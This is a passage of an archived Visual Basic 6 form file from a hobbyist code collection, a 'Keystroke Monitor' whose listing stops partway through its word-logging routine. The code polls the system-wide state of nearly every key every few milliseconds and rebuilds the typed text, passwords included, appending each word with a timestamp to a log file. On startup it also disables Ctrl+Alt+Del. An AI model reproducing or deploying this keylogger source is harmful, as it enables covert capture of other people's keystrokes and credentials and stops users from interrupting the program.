home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 1_2002.ISO / Data / Zips / CODE_UPLOAD3240242000.psc / Keystroke.frm (.txt) < prev    next >
Encoding:
Visual Basic Form  |  2000-01-22  |  42.1 KB  |  1,524 lines

  1. VERSION 5.00
  2. Begin VB.Form Keystroke 
  3.    BackColor       =   &H8000000A&
  4.    Caption         =   "Keystroke Monitor "
  5.    ClientHeight    =   6570
  6.    ClientLeft      =   1770
  7.    ClientTop       =   1275
  8.    ClientWidth     =   8445
  9.    LinkTopic       =   "Form1"
  10.    MaxButton       =   0   'False
  11.    ScaleHeight     =   6570
  12.    ScaleWidth      =   8445
  13.    Begin VB.Timer Timer3 
  14.       Interval        =   5
  15.       Left            =   3840
  16.       Top             =   3960
  17.    End
  18.    Begin VB.CheckBox Check5 
  19.       BackColor       =   &H8000000B&
  20.       Caption         =   "Enable Crtl Alt Del"
  21.       ForeColor       =   &H00000000&
  22.       Height          =   495
  23.       Left            =   6720
  24.       TabIndex        =   23
  25.       Top             =   3360
  26.       Width           =   1575
  27.    End
  28.    Begin VB.ListBox List3 
  29.       Height          =   450
  30.       ItemData        =   "Keystroke.frx":0000
  31.       Left            =   4560
  32.       List            =   "Keystroke.frx":0002
  33.       TabIndex        =   22
  34.       Top             =   6000
  35.       Width           =   3735
  36.    End
  37.    Begin VB.ListBox List2 
  38.       Height          =   450
  39.       ItemData        =   "Keystroke.frx":0004
  40.       Left            =   4560
  41.       List            =   "Keystroke.frx":0006
  42.       TabIndex        =   19
  43.       Top             =   5160
  44.       Width           =   3735
  45.    End
  46.    Begin VB.CommandButton Command1 
  47.       BackColor       =   &H0000FFFF&
  48.       Caption         =   "Get Word Info"
  49.       Height          =   450
  50.       Left            =   4560
  51.       TabIndex        =   18
  52.       Top             =   4320
  53.       Width           =   1815
  54.    End
  55.    Begin VB.ListBox List1 
  56.       Height          =   840
  57.       ItemData        =   "Keystroke.frx":0008
  58.       Left            =   6480
  59.       List            =   "Keystroke.frx":000A
  60.       Sorted          =   -1  'True
  61.       TabIndex        =   17
  62.       Top             =   3960
  63.       Width           =   1815
  64.    End
  65.    Begin VB.Timer Timer2 
  66.       Interval        =   50
  67.       Left            =   600
  68.       Top             =   1920
  69.    End
  70.    Begin VB.CheckBox Check4 
  71.       BackColor       =   &H8000000B&
  72.       Caption         =   "Monitor"
  73.       ForeColor       =   &H00000000&
  74.       Height          =   495
  75.       Left            =   5760
  76.       TabIndex        =   14
  77.       TabStop         =   0   'False
  78.       ToolTipText     =   "Determines whether or not the program will monitor the keyboard."
  79.       Top             =   3360
  80.       Value           =   1  'Checked
  81.       Width           =   1095
  82.    End
  83.    Begin VB.CheckBox Check3 
  84.       BackColor       =   &H8000000B&
  85.       Caption         =   "Log Alpha- Numeric Keys"
  86.       ForeColor       =   &H00000000&
  87.       Height          =   495
  88.       Left            =   3600
  89.       TabIndex        =   11
  90.       TabStop         =   0   'False
  91.       ToolTipText     =   "A, a, B, b, C, c, D, d,"",:,.,/,\ etc..."
  92.       Top             =   3360
  93.       Value           =   1  'Checked
  94.       Width           =   2295
  95.    End
  96.    Begin VB.CheckBox Check2 
  97.       BackColor       =   &H8000000B&
  98.       Caption         =   "Log All Other 'Action' Keys"
  99.       ForeColor       =   &H00000000&
  100.       Height          =   495
  101.       Left            =   1320
  102.       TabIndex        =   8
  103.       TabStop         =   0   'False
  104.       ToolTipText     =   "Enter, Alt, Tab, Esc, Delete etc..."
  105.       Top             =   3360
  106.       Value           =   1  'Checked
  107.       Width           =   2295
  108.    End
  109.    Begin VB.CheckBox Check1 
  110.       BackColor       =   &H8000000B&
  111.       Caption         =   "Log 'Shift' "
  112.       ForeColor       =   &H00000000&
  113.       Height          =   495
  114.       Left            =   120
  115.       Picture         =   "Keystroke.frx":000C
  116.       TabIndex        =   2
  117.       TabStop         =   0   'False
  118.       ToolTipText     =   "Determines whether or not the progam will display '(shift)' when shift is pressed."
  119.       Top             =   3360
  120.       UseMaskColor    =   -1  'True
  121.       Width           =   1215
  122.    End
  123.    Begin VB.TextBox Text1 
  124.       BeginProperty Font 
  125.          Name            =   "MS Sans Serif"
  126.          Size            =   8.25
  127.          Charset         =   0
  128.          Weight          =   700
  129.          Underline       =   0   'False
  130.          Italic          =   0   'False
  131.          Strikethrough   =   0   'False
  132.       EndProperty
  133.       Height          =   3135
  134.       Left            =   120
  135.       Locked          =   -1  'True
  136.       MultiLine       =   -1  'True
  137.       ScrollBars      =   2  'Vertical
  138.       TabIndex        =   0
  139.       TabStop         =   0   'False
  140.       Top             =   120
  141.       Width           =   8175
  142.    End
  143.    Begin VB.Timer Timer1 
  144.       Interval        =   5
  145.       Left            =   1800
  146.       Top             =   1560
  147.    End
  148.    Begin VB.Label Label15 
  149.       BackColor       =   &H8000000B&
  150.       Caption         =   "Words You've Typed:"
  151.       ForeColor       =   &H00000000&
  152.       Height          =   495
  153.       Left            =   4800
  154.       TabIndex        =   24
  155.       Top             =   3960
  156.       Width           =   1815
  157.    End
  158.    Begin VB.Label Label14 
  159.       BackColor       =   &H8000000B&
  160.       Caption         =   "Location:"
  161.       ForeColor       =   &H00000000&
  162.       Height          =   495
  163.       Left            =   4560
  164.       TabIndex        =   21
  165.       Top             =   5760
  166.       Width           =   1215
  167.    End
  168.    Begin VB.Label Label13 
  169.       BackColor       =   &H8000000B&
  170.       Caption         =   "Time:"
  171.       ForeColor       =   &H00000000&
  172.       Height          =   495
  173.       Left            =   4560
  174.       TabIndex        =   20
  175.       Top             =   4920
  176.       Width           =   2415
  177.    End
  178.    Begin VB.Label Label12 
  179.       BackColor       =   &H8000000B&
  180.       Caption         =   "Label12"
  181.       ForeColor       =   &H00000000&
  182.       Height          =   375
  183.       Left            =   1800
  184.       TabIndex        =   5
  185.       Top             =   4800
  186.       Width           =   1215
  187.    End
  188.    Begin VB.Label Label11 
  189.       BackColor       =   &H8000000B&
  190.       Caption         =   "Operating System:"
  191.       ForeColor       =   &H00000000&
  192.       Height          =   375
  193.       Left            =   120
  194.       TabIndex        =   4
  195.       Top             =   4800
  196.       Width           =   1335
  197.    End
  198.    Begin VB.Label Label4 
  199.       BackColor       =   &H8000000B&
  200.       Caption         =   "Label4"
  201.       ForeColor       =   &H00000000&
  202.       Height          =   375
  203.       Left            =   1800
  204.       TabIndex        =   16
  205.       Top             =   5520
  206.       Width           =   2295
  207.    End
  208.    Begin VB.Label Label3 
  209.       BackColor       =   &H8000000B&
  210.       Caption         =   "Logged In At:"
  211.       ForeColor       =   &H00000000&
  212.       Height          =   375
  213.       Left            =   120
  214.       TabIndex        =   15
  215.       Top             =   5520
  216.       Width           =   1215
  217.    End
  218.    Begin VB.Label Label10 
  219.       BackColor       =   &H8000000B&
  220.       ForeColor       =   &H00000000&
  221.       Height          =   495
  222.       Left            =   1800
  223.       TabIndex        =   13
  224.       Top             =   6240
  225.       Width           =   2535
  226.    End
  227.    Begin VB.Label Label9 
  228.       BackColor       =   &H8000000B&
  229.       Caption         =   "Words Typed:"
  230.       ForeColor       =   &H00000000&
  231.       Height          =   375
  232.       Left            =   120
  233.       TabIndex        =   12
  234.       Top             =   6240
  235.       Width           =   1215
  236.    End
  237.    Begin VB.Label Label8 
  238.       BackColor       =   &H00C0C0C0&
  239.       Caption         =   "Label8"
  240.       ForeColor       =   &H00000000&
  241.       Height          =   495
  242.       Left            =   1800
  243.       TabIndex        =   10
  244.       Top             =   5880
  245.       Width           =   2895
  246.    End
  247.    Begin VB.Label Label7 
  248.       BackColor       =   &H8000000B&
  249.       Caption         =   "Keystrokes Logged:"
  250.       ForeColor       =   &H00000000&
  251.       Height          =   495
  252.       Left            =   120
  253.       TabIndex        =   9
  254.       Top             =   5880
  255.       Width           =   1695
  256.    End
  257.    Begin VB.Label Label6 
  258.       BackColor       =   &H8000000B&
  259.       Caption         =   "Label6"
  260.       ForeColor       =   &H00000000&
  261.       Height          =   495
  262.       Left            =   1800
  263.       TabIndex        =   7
  264.       Top             =   5160
  265.       Width           =   2775
  266.    End
  267.    Begin VB.Label Label5 
  268.       BackColor       =   &H8000000B&
  269.       Caption         =   "Current Time:"
  270.       ForeColor       =   &H00000000&
  271.       Height          =   495
  272.       Left            =   120
  273.       TabIndex        =   6
  274.       Top             =   5160
  275.       Width           =   1215
  276.    End
  277.    Begin VB.Label Label2 
  278.       BackColor       =   &H8000000B&
  279.       Caption         =   "Label2"
  280.       ForeColor       =   &H00000000&
  281.       Height          =   495
  282.       Left            =   120
  283.       TabIndex        =   3
  284.       Top             =   4440
  285.       Width           =   4335
  286.    End
  287.    Begin VB.Label Label1 
  288.       BackColor       =   &H8000000B&
  289.       Caption         =   "Label1"
  290.       ForeColor       =   &H00000000&
  291.       Height          =   495
  292.       Left            =   120
  293.       TabIndex        =   1
  294.       Top             =   4080
  295.       Width           =   4215
  296.    End
  297. Attribute VB_Name = "Keystroke"
  298. Attribute VB_GlobalNameSpace = False
  299. Attribute VB_Creatable = False
  300. Attribute VB_PredeclaredId = True
  301. Attribute VB_Exposed = False
  302. Dim stringbuffer As String
  303. Dim numwritten As Long
  304. Dim hfile As Long
  305. Dim retval As Long
  306. Private KeyLoop As Byte
  307. Private FoundKeys As String
  308. Private KeyResult As Long
  309. Private Enter As Boolean
  310. Private Period As Boolean
  311. Private Comma As Boolean
  312. Private Space As Boolean
  313. Private Colon As Boolean
  314. Private Slash As Boolean
  315. Private Shift As Boolean
  316. Private bTab As Boolean
  317. Private Control As Boolean
  318. Private Escape As Boolean
  319. Private CapsLock As Boolean
  320. Private Alt As Boolean
  321. Private Delete As Boolean
  322. Private Insert As Boolean
  323. Private BackSpace As Boolean
  324. Private Home As Boolean
  325. Private bEnd As Boolean
  326. Private PgUp As Boolean
  327. Private PgDown As Boolean
  328. Private NumLock As Boolean
  329. Private ScrollLock As Boolean
  330. Private LeftArrow As Boolean
  331. Private RightArrow As Boolean
  332. Private UpArrow As Boolean
  333. Private DownArrow As Boolean
  334. Private NumPad0 As Boolean
  335. Private NumPad1 As Boolean
  336. Private NumPad2 As Boolean
  337. Private NumPad3 As Boolean
  338. Private NumPad4 As Boolean
  339. Private NumPad5 As Boolean
  340. Private NumPad6 As Boolean
  341. Private NumPad7 As Boolean
  342. Private NumPad8 As Boolean
  343. Private NumPad9 As Boolean
  344. Private Pause As Boolean
  345. Private F1 As Boolean
  346. Private F2 As Boolean
  347. Private F3 As Boolean
  348. Private F4 As Boolean
  349. Private F5 As Boolean
  350. Private F6 As Boolean
  351. Private F7 As Boolean
  352. Private F8 As Boolean
  353. Private F9 As Boolean
  354. Private F10 As Boolean
  355. Private F11 As Boolean
  356. Private F12 As Boolean
  357. Private Apostraphie As Boolean
  358. Private NumEnter As Boolean
  359. Private OpenBracket As Boolean
  360. Private CloseBracket As Boolean
  361. Private BackSlash As Boolean
  362. Private Equals As Boolean
  363. Private Minus1 As Boolean
  364. Private Apostraphie2 As Boolean
  365. Private NumPlus As Boolean
  366. Private NumTimes As Boolean
  367. Private NumMinus As Boolean
  368. Private NumDivide As Boolean
  369. Private NumPeriod As Boolean
  370. Private UPcase As Boolean
  371. Private x As String
  372. Private search As Boolean
  373. Private usrname As String
  374. Private shiftpress As Boolean
  375. Private action As Boolean
  376. Private alpha As Boolean
  377. Private lengthA As Integer
  378. Private listboxlist(10000) As String
  379. Dim ActionKey As Boolean
  380. Private cadenab As Boolean
  381. Dim NewWord As Boolean
  382. Private label_8 As Integer
  383. Private tenlist(10000) As String
  384. Private ing As Integer
  385. Private record As Boolean
  386. Private Sub Check1_Click()
  387. If shiftpress = False Then
  388. shiftpress = True
  389. Exit Sub
  390. End If
  391. If shiftpress = True Then shiftpress = False
  392. End Sub
  393. Private Sub Check2_Click()
  394. If action = True Then
  395. action = False
  396. Exit Sub
  397. End If
  398. If action = False Then action = True
  399. End Sub
  400. Private Sub Check3_Click()
  401. If alpha = True Then
  402. alpha = False
  403. Exit Sub
  404. End If
  405. If alpha = False Then alpha = True
  406. End Sub
  407. Private Sub Check5_Click()
  408. Dim ret As Integer
  409. Dim pOld As Boolean
  410. If Check5.Value = Checked Then ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, False, pOld, 0)
  411. If Check5.Value = unckeched Then ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, pOld, 0)
  412. End Sub
  413. Private Sub Command1_Click()
  414. List2.Clear
  415. List3.Clear
  416. Dim line As String
  417. Dim num As Integer
  418. Dim charA As String
  419. Dim time As String
  420. Dim length As Integer
  421. Dim x As Integer
  422. Dim wordchar As String
  423. Dim charB As String
  424. num = 0
  425. Open "log.dat" For Input As #1
  426. Do While Not EOF(1)
  427. Line Input #1, line
  428. For x = 1 To 50
  429. charA = Mid(line, x, 1)
  430. If charA = " " Then
  431.     length = Len(line)
  432.     wordchar = Left(line, x - 1)
  433.     Exit For
  434. End If
  435. Debug.Print line
  436. Next x
  437. If wordchar = List1.Text Then
  438.     num = num + 1
  439.     For x = 1 To 100
  440.         charB = Mid(line, x, 1)
  441.         If charB = "-" Then
  442.             length = Len(line)
  443.             List3.AddItem Mid(line, x + 1, length - x)
  444.             line = Left(line, x - 1)
  445.             Exit For
  446.         End If
  447.     Next x
  448.     For x = 1 To 100
  449.         charA = Mid(line, x, 1)
  450.         If charA = " " Then
  451.             length = Len(line)
  452.             time = Right(line, length - x)
  453.             List2.AddItem time
  454.             Exit For
  455.         End If
  456.     Next x
  457. End If
  458. Close #1
  459. End Sub
  460. Private Sub Form_Load()
  461. Check1.MaskColor = 1
  462. ing = 10
  463. SpaceBar = False
  464. Check5.Value = Checked
  465. ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, False, pOld, 0)
  466. cadenab = True
  467. ActionKey = False
  468. Open "log.dat" For Output As #1
  469. Close #1
  470. Dim os As OSVERSIONINFO
  471. Dim retval As Long
  472. os.dwOSVersionInfoSize = Len(os)
  473. retval = GetVersionEx(os)
  474. If os.dwPlatformId = 1 Then
  475.     If os.dwMinorVersion < 1 Then
  476.     Label12.Caption = "Windows 95"
  477.     Else: Label12.Caption = "Windows 98"
  478.     End If
  479. End If
  480. If os.dwPlatformId = 0 Then Label12.Caption = "Windows 3.x"
  481. If os.dwPlatformId = 2 Then Label12.Caption = "Windows NT"
  482. Label4.Caption = Now
  483. Label10.Caption = 0
  484. alpha = True
  485. shiftpress = True
  486. action = True
  487. Label8.Caption = 0
  488. Label6.Caption = Now
  489. getnames
  490. x = 1
  491. search = True
  492. End Sub
  493. Private Sub Timer1_Timer()
  494.     If search = True Then
  495.     NumPlus = False
  496.     KeyResult = GetAsyncKeyState(107)
  497.     If KeyResult = -32767 Then
  498.         NumPlus = True
  499.          GoTo KeyFound
  500.     End If
  501.         NumMinus = False
  502.     KeyResult = GetAsyncKeyState(109)
  503.     If KeyResult = -32767 Then
  504.         NumMinus = True
  505.          GoTo KeyFound
  506.     End If
  507.         NumTimes = False
  508.     KeyResult = GetAsyncKeyState(106)
  509.     If KeyResult = -32767 Then
  510.         NumTimes = True
  511.          GoTo KeyFound
  512.     End If
  513.         NumDivide = False
  514.     KeyResult = GetAsyncKeyState(111)
  515.     If KeyResult = -32767 Then
  516.         NumDivide = True
  517.          GoTo KeyFound
  518.     End If
  519.         
  520.     NumPeriod = False
  521.     KeyResult = GetAsyncKeyState(110)
  522.     If KeyResult = -32767 Then
  523.         NumPeriod = True
  524.          GoTo KeyFound
  525.     End If
  526.     Apostraphie2 = False
  527.     KeyResult = GetAsyncKeyState(&HC0)
  528.     If KeyResult = -32767 Then
  529.         Apostraphie2 = True
  530.          GoTo KeyFound
  531.     End If
  532.     Minus1 = False
  533.     KeyResult = GetAsyncKeyState(&HBD)
  534.     If KeyResult = -32767 Then
  535.         Minus1 = True
  536.          GoTo KeyFound
  537.     End If
  538.     Equals = False
  539.     KeyResult = GetAsyncKeyState(&HBB)
  540.     If KeyResult = -32767 Then
  541.         Equals = True
  542.          GoTo KeyFound
  543.     End If
  544.     BackSlash = False
  545.     KeyResult = GetAsyncKeyState(&HDC)
  546.     If KeyResult = -32767 Then
  547.         BackSlash = True
  548.          GoTo KeyFound
  549.     End If
  550.        
  551.     OpenBracket = False
  552.     KeyResult = GetAsyncKeyState(&HDB)
  553.     If KeyResult = -32767 Then
  554.         OpenBracket = True
  555.          GoTo KeyFound
  556.     End If
  557.     CloseBracket = False
  558.     KeyResult = GetAsyncKeyState(&HDD)
  559.     If KeyResult = -32767 Then
  560.         CloseBracket = True
  561.          GoTo KeyFound
  562.     End If
  563.     NumEnter = False
  564.     KeyResult = GetAsyncKeyState(108)
  565.     If KeyResult = -32767 Then
  566.         NumEnter = True
  567.          GoTo KeyFound
  568.     End If
  569.     Apostraphie = False
  570.     KeyResult = GetAsyncKeyState(&HDE)
  571.     If KeyResult = -32767 Then
  572.         Apostraphie = True
  573.          GoTo KeyFound
  574.     End If
  575.     F1 = False
  576.     KeyResult = GetAsyncKeyState(112)
  577.     If KeyResult = -32767 Then
  578.         F1 = True
  579.          GoTo KeyFound
  580.     End If
  581.     F2 = False
  582.     KeyResult = GetAsyncKeyState(113)
  583.     If KeyResult = -32767 Then
  584.         F2 = True
  585.          GoTo KeyFound
  586.     End If
  587.     F3 = False
  588.     KeyResult = GetAsyncKeyState(114)
  589.     If KeyResult = -32767 Then
  590.         F3 = True
  591.          GoTo KeyFound
  592.     End If
  593.     F4 = False
  594.     KeyResult = GetAsyncKeyState(115)
  595.     If KeyResult = -32767 Then
  596.         F4 = True
  597.          GoTo KeyFound
  598.     End If
  599.     F5 = False
  600.     KeyResult = GetAsyncKeyState(116)
  601.     If KeyResult = -32767 Then
  602.         F5 = True
  603.          GoTo KeyFound
  604.     End If
  605.     F6 = False
  606.     KeyResult = GetAsyncKeyState(117)
  607.     If KeyResult = -32767 Then
  608.         F6 = True
  609.          GoTo KeyFound
  610.     End If
  611.     F7 = False
  612.     KeyResult = GetAsyncKeyState(118)
  613.     If KeyResult = -32767 Then
  614.         F7 = True
  615.          GoTo KeyFound
  616.     End If
  617.     F8 = False
  618.     KeyResult = GetAsyncKeyState(119)
  619.     If KeyResult = -32767 Then
  620.         F8 = True
  621.          GoTo KeyFound
  622.     End If
  623.     F9 = False
  624.     KeyResult = GetAsyncKeyState(120)
  625.     If KeyResult = -32767 Then
  626.         F9 = True
  627.          GoTo KeyFound
  628.     End If
  629.     F10 = False
  630.     KeyResult = GetAsyncKeyState(121)
  631.     If KeyResult = -32767 Then
  632.         F10 = True
  633.          GoTo KeyFound
  634.     End If
  635.     F11 = False
  636.     KeyResult = GetAsyncKeyState(122)
  637.     If KeyResult = -32767 Then
  638.         F11 = True
  639.          GoTo KeyFound
  640.     End If
  641.     F12 = False
  642.     KeyResult = GetAsyncKeyState(123)
  643.     If KeyResult = -32767 Then
  644.         F12 = True
  645.          GoTo KeyFound
  646.     End If
  647.     Pause = False
  648.     KeyResult = GetAsyncKeyState(19)
  649.     If KeyResult = -32767 Then
  650.         Pause = True
  651.          GoTo KeyFound
  652.     End If
  653.     NumPad0 = False
  654.     KeyResult = GetAsyncKeyState(96)
  655.     If KeyResult = -32767 Then
  656.         NumPad0 = True
  657.          GoTo KeyFound
  658.     End If
  659.     NumPad1 = False
  660.     KeyResult = GetAsyncKeyState(97)
  661.     If KeyResult = -32767 Then
  662.         NumPad1 = True
  663.          GoTo KeyFound
  664.     End If
  665.     NumPad2 = False
  666.     KeyResult = GetAsyncKeyState(98)
  667.     If KeyResult = -32767 Then
  668.         NumPad2 = True
  669.          GoTo KeyFound
  670.     End If
  671.     NumPad3 = False
  672.     KeyResult = GetAsyncKeyState(99)
  673.     If KeyResult = -32767 Then
  674.         NumPad3 = True
  675.          GoTo KeyFound
  676.     End If
  677.     NumPad4 = False
  678.     KeyResult = GetAsyncKeyState(100)
  679.     If KeyResult = -32767 Then
  680.         NumPad4 = True
  681.          GoTo KeyFound
  682.     End If
  683.     NumPad5 = False
  684.     KeyResult = GetAsyncKeyState(101)
  685.     If KeyResult = -32767 Then
  686.         NumPad5 = True
  687.          GoTo KeyFound
  688.     End If
  689.     NumPad6 = False
  690.     KeyResult = GetAsyncKeyState(102)
  691.     If KeyResult = -32767 Then
  692.         NumPad6 = True
  693.          GoTo KeyFound
  694.     End If
  695.     NumPad7 = False
  696.     KeyResult = GetAsyncKeyState(103)
  697.     If KeyResult = -32767 Then
  698.         NumPad7 = True
  699.          GoTo KeyFound
  700.     End If
  701.     NumPad8 = False
  702.     KeyResult = GetAsyncKeyState(104)
  703.     If KeyResult = -32767 Then
  704.         NumPad8 = True
  705.          GoTo KeyFound
  706.     End If
  707.     NumPad9 = False
  708.     KeyResult = GetAsyncKeyState(105)
  709.     If KeyResult = -32767 Then
  710.         NumPad9 = True
  711.          GoTo KeyFound
  712.     End If
  713.     LeftArrow = False
  714.     KeyResult = GetAsyncKeyState(37)
  715.     If KeyResult = -32767 Then
  716.         LeftArrow = True
  717.          GoTo KeyFound
  718.     End If
  719.     RightArrow = False
  720.     KeyResult = GetAsyncKeyState(39)
  721.     If KeyResult = -32767 Then
  722.         RightArrow = True
  723.          GoTo KeyFound
  724.     End If
  725.     UpArrow = False
  726.     KeyResult = GetAsyncKeyState(38)
  727.     If KeyResult = -32767 Then
  728.         UpArrow = True
  729.          GoTo KeyFound
  730.     End If
  731.     DownArrow = False
  732.     KeyResult = GetAsyncKeyState(40)
  733.     If KeyResult = -32767 Then
  734.         DownArrow = True
  735.          GoTo KeyFound
  736.     End If
  737.     ScrollLock = False
  738.     KeyResult = GetAsyncKeyState(&H91)
  739.     If KeyResult = -32767 Then
  740.         ScrollLock = True
  741.          GoTo KeyFound
  742.     End If
  743.     NumLock = False
  744.     KeyResult = GetAsyncKeyState(144)
  745.     If KeyResult = -32767 Then
  746.         NumLock = True
  747.          GoTo KeyFound
  748.     End If
  749.     Home = False
  750.     KeyResult = GetAsyncKeyState(36)
  751.     If KeyResult = -32767 Then
  752.         Home = True
  753.          GoTo KeyFound
  754.     End If
  755.         
  756.     bEnd = False
  757.     KeyResult = GetAsyncKeyState(35)
  758.     If KeyResult = -32767 Then
  759.         bEnd = True
  760.          GoTo KeyFound
  761.     End If
  762.     PgUp = False
  763.     KeyResult = GetAsyncKeyState(33)
  764.     If KeyResult = -32767 Then
  765.         PgUp = True
  766.          GoTo KeyFound
  767.     End If
  768.     PgDown = False
  769.     KeyResult = GetAsyncKeyState(34)
  770.     If KeyResult = -32767 Then
  771.         PgDown = True
  772.          GoTo KeyFound
  773.     End If
  774.     BackSpace = False
  775.     KeyResult = GetAsyncKeyState(8)
  776.     If KeyResult = -32767 Then
  777.         BackSpace = True
  778.          GoTo KeyFound
  779.     End If
  780.     Insert = False
  781.     KeyResult = GetAsyncKeyState(45)
  782.     If KeyResult = -32767 Then
  783.         Insert = True
  784.          GoTo KeyFound
  785.     End If
  786.     Delete = False
  787.     KeyResult = GetAsyncKeyState(46)
  788.     If KeyResult = -32767 Then
  789.         Delete = True
  790.          GoTo KeyFound
  791.     End If
  792.     Alt = False
  793.     KeyResult = GetAsyncKeyState(&H12)
  794.     If KeyResult = -32767 Then
  795.         Alt = True
  796.          GoTo KeyFound
  797.     End If
  798.     CapsLock = False
  799.     KeyResult = GetAsyncKeyState(20)
  800.     If KeyResult = -32767 Then
  801.         CapsLock = True
  802.          GoTo KeyFound
  803.     End If
  804.     Escape = False
  805.     KeyResult = GetAsyncKeyState(27)
  806.     If KeyResult = -32767 Then
  807.         Escape = True
  808.          GoTo KeyFound
  809.     End If
  810.         
  811.     Control = False
  812.     KeyResult = GetAsyncKeyState(17)
  813.     If KeyResult = -32767 Then
  814.         Control = True
  815.          GoTo KeyFound
  816.     End If
  817.         
  818.         
  819.     bTab = False
  820.     KeyResult = GetAsyncKeyState(9)
  821.     If KeyResult = -32767 Then
  822.         bTab = True
  823.          GoTo KeyFound
  824.     End If
  825.     Shift = False
  826.     KeyResult = GetAsyncKeyState(16)
  827.     If KeyResult = -32767 Then
  828.        Shift = True
  829.        UPcase = True
  830.         GoTo KeyFound
  831.     End If
  832.     Enter = False
  833.     KeyResult = GetAsyncKeyState(13)
  834.     If KeyResult = -32767 Then
  835.        Enter = True
  836.         GoTo KeyFound
  837.     End If
  838.     Period = False
  839.     KeyResult = GetAsyncKeyState(190)
  840.     If KeyResult = -32767 Then
  841.         Period = True
  842.         GoTo KeyFound
  843.     End If
  844.     Comma = False
  845.     KeyResult = GetAsyncKeyState(188)
  846.     If KeyResult = -32767 Then
  847.         Comma = True
  848.         GoTo KeyFound
  849.     End If
  850.     Space = False
  851.     KeyResult = GetAsyncKeyState(32)
  852.     If KeyResult = -32767 Then
  853.         Space = True
  854.         GoTo KeyFound
  855.     End If
  856.     Colon = False
  857.     KeyResult = GetAsyncKeyState(186)
  858.     If KeyResult = -32767 Then
  859.         Colon = True
  860.         GoTo KeyFound
  861.     End If
  862.     Slash = False
  863.     KeyResult = GetAsyncKeyState(191)
  864.     If KeyResult = -32767 Then
  865.         Slash = True
  866.         GoTo KeyFound
  867.     End If
  868.     Space = False
  869.     If NewWord = True Then
  870.     Space = True
  871.     GoTo KeyFound
  872.     End If
  873.     If alpha = True Then
  874.     KeyLoop = 41
  875.     Do Until KeyLoop = 91
  876.         KeyResult = GetAsyncKeyState(KeyLoop)
  877.         Select Case UPcase
  878.         Case Is = False
  879.         ActionKey = False
  880.         If KeyResult = -32767 Then
  881.         Text1.Text = Text1.Text + LCase(Chr(KeyLoop))
  882.         Label8.Caption = Label8.Caption + 1
  883.         record = True
  884.         ing = 10
  885.         End If
  886.         Case Else
  887.         ing = 10
  888.         record = True
  889.         ActionKey = False
  890.         If KeyResult = -32767 Then
  891.         Label8.Caption = Label8.Caption + 1
  892.         Select Case KeyLoop
  893.             Case Is = 48
  894.                 Text1.Text = Text1.Text + ")"
  895.             Case Is = 49
  896.                 Text1.Text = Text1.Text + "!"
  897.             Case Is = 50
  898.                 Text1.Text = Text1.Text + "@"
  899.             Case Is = 51
  900.                 Text1.Text = Text1.Text + "#"
  901.             Case Is = 52
  902.                 Text1.Text = Text1.Text + "$"
  903.             Case Is = 53
  904.                 Text1.Text = Text1.Text + "%"
  905.             Case Is = 54
  906.                 Text1.Text = Text1.Text + "^"
  907.             Case Is = 55
  908.                 Text1.Text = Text1.Text + "&"
  909.             Case Is = 56
  910.                 Text1.Text = Text1.Text + "*"
  911.             Case Is = 57
  912.                 Text1.Text = Text1.Text + "("
  913.             Case Else
  914.             Text1.Text = Text1.Text + (Chr(KeyLoop))
  915.             UPcase = False
  916.         End Select
  917.         End If
  918.         End Select
  919.         KeyLoop = KeyLoop + 1
  920.     Loop
  921.     End If
  922. Exit Sub
  923. KeyFound:
  924.     Label8.Caption = Label8.Caption + 1
  925.     ing = 10
  926.     If Enter Then
  927.         If action = True Then
  928.         ActionKey = True
  929.         Text1 = Text1 & vbCrLf + "(Enter)" & vbCrLf
  930.         Else: Text1 = Text1 & vbCrLf
  931.         End If
  932.         Exit Sub
  933.     ElseIf Period Then
  934.         ActionKey = False
  935.         If alpha = True Then
  936.         If UPcase = False Then
  937.         Text1 = Text1 + "."
  938.         Exit Sub
  939.         End If
  940.         If UPcase = True Then
  941.         Text1 = Text1 + ">"
  942.         UPcase = False
  943.         Exit Sub
  944.         End If
  945.         End If
  946.     ElseIf Comma Then
  947.         ActionKey = False
  948.         If alpha = True Then
  949.         If UPcase = False Then
  950.         Text1 = Text1 + ","
  951.         Exit Sub
  952.         End If
  953.         If UPcase = True Then
  954.         Text1 = Text1 + "<"
  955.         UPcase = False
  956.         Exit Sub
  957.         End If
  958.         End If
  959.     ElseIf Space Then
  960.         Open "log.dat" For Append As #1
  961.         Dim x As Long
  962.         Dim VarLength As Long
  963.         Dim number
  964.         VarLength = Len(Text1)
  965.         word = Right(Text1, 2)
  966.         number = Asc(word)
  967.         For n = 33 To 127
  968.             If n = number Then
  969.             For m = 1 To 100
  970.                 word = Right(Text1, m)
  971.                 If Left(word, 1) = " " Then
  972.                 Exit For
  973.                 word = Right(Text1, m - 1)
  974.                 End If
  975.             Next m
  976.             End If
  977.         Next n
  978.         word = " " & word
  979.         For x = 1 To 5
  980.         If Left(word, 1) = " " Then
  981.             VarLength = Len(word)
  982.             word = Right(word, VarLength - 1)
  983.         End If
  984.         Next x
  985.         
  986.         For x = 1 To 5
  987.         Select Case Right(word, 1)
  988.         Case Is = "!"
  989.             VarLength = Len(word)
  990.             word = Left(word, VarLength - 1)
  991.         Case Is = "."
  992.             VarLength = Len(word)
  993.             word = Left(word, VarLength - 1)
  994.         Case Is = "?"
  995.             VarLength = Len(word)
  996.             word = Left(word, VarLength - 1)
  997.         Case Is = ":"
  998.             VarLength = Len(word)
  999.             word = Left(word, VarLength - 1)
  1000.         Case Is = ";"
  1001.             VarLength = Len(word)
  1002.             word = Left(word, VarLength - 1)
  1003.         Case Is = ","
  1004.             VarLength = Len(word)
  1005.             word = Left(word, VarLength - 1)
  1006.         Case Is = "/"
  1007.             VarLength = Len(word)
  1008.             word = Left(word, VarLength - 1)
  1009.         Case Is = "\"
  1010.             VarLength = Len(word)
  1011.             word = Left(word, VarLength - 1)
  1012.         Case Is = "|"
  1013.             VarLength = Len(word)
  1014.             word = Left(word, VarLength - 1)
  1015.         Case Is = "="
  1016.             VarLength = Len(word)
  1017.             word = Left(word, VarLength - 1)
  1018.         Case Is = "+"
  1019.             VarLength = Len(word)
  1020.             word = Left(word, VarLength - 1)
  1021.         Case Is = "_"
  1022.             VarLength = Len(word)
  1023.             word = Left(word, VarLength - 1)
  1024.         Case Is = "-"
  1025.             VarLength = Len(word)
  1026.             word = Left(word, VarLength - 1)
  1027.         Case Is = ")"
  1028.             VarLength = Len(word)
